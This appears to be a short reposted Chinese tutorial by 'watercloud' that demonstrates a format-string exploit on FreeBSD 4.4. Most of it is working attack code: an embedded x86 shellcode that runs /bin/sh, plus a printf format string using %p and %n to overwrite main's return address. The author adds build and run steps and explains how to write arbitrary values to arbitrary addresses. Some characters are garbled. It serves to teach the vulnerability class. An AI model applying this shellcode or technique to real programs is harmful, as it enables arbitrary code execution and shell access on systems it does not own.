/* simple example for printf ex on FreeBSD */
#include
char shell[]=
"1\xc0t\f_PPWW\x88G\a\xb0;\xcd\x80\xe8\xef\xff\xff\xff/bin/sh";
long addr,length=shell-152;
char *pc = (char *)&addr;
int main(int argc,char * argv[])
{
long p[1];
char buff[76];
addr = (long ) &p[2];
sprintf(buff,"%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%%up\
? %%nCCC%c%c%c%c",length,pc[0],pc[1],pc[2],pc[3]);
printf(buff);?//所有的安全问题都在这,我们就是通过这得到shell的 ^_*
}
这样我们通过修改addr和length就能修改任意地址,写入任意内容
addr就是我们将要修改的地址
length+17x4+7 就是我们要填入的内容
在这儿addr=&p[2]就是main的返回地址 buff-28就是print返回地址 . . . .
length+17x4+7即为shell的地址,这样就回到了shell上运行得到了一个shell
当然你也可以指定addr为printf函数返回地址等 . . .?.
gcc printfex.c -o ex
./ex >/dev/null??????#为了防止打印太多东西?从定向(要不然shell出现之前得要打印几分钟)
好了现在什么也没有显示了,shell的输出都被从定向到/dev/null下了呵呵
随便敲一个 touch /tmp/testtest
exit
好了回到shell了去看看/tmp/testtest产生了没有.
//说明,本文不是入门级的,如果有什么不清楚请参阅网上相应文章
//最好建议自己打开gdb来调试
//Tested on FreeBSD4.4
??????? __ by watercloud __
FreeBSD格式化字符串简单演示
,FreeBSD格式化字符串简单演示
免责声明:文章内容不代表本站立场,本站不对其内容的真实性、完整性、准确性给予任何担保、暗示和承诺,仅供读者参考,文章版权归原作者所有。如本文内容影响到您的合法权益(内容、图片等),请及时联系本站,我们会及时删除处理。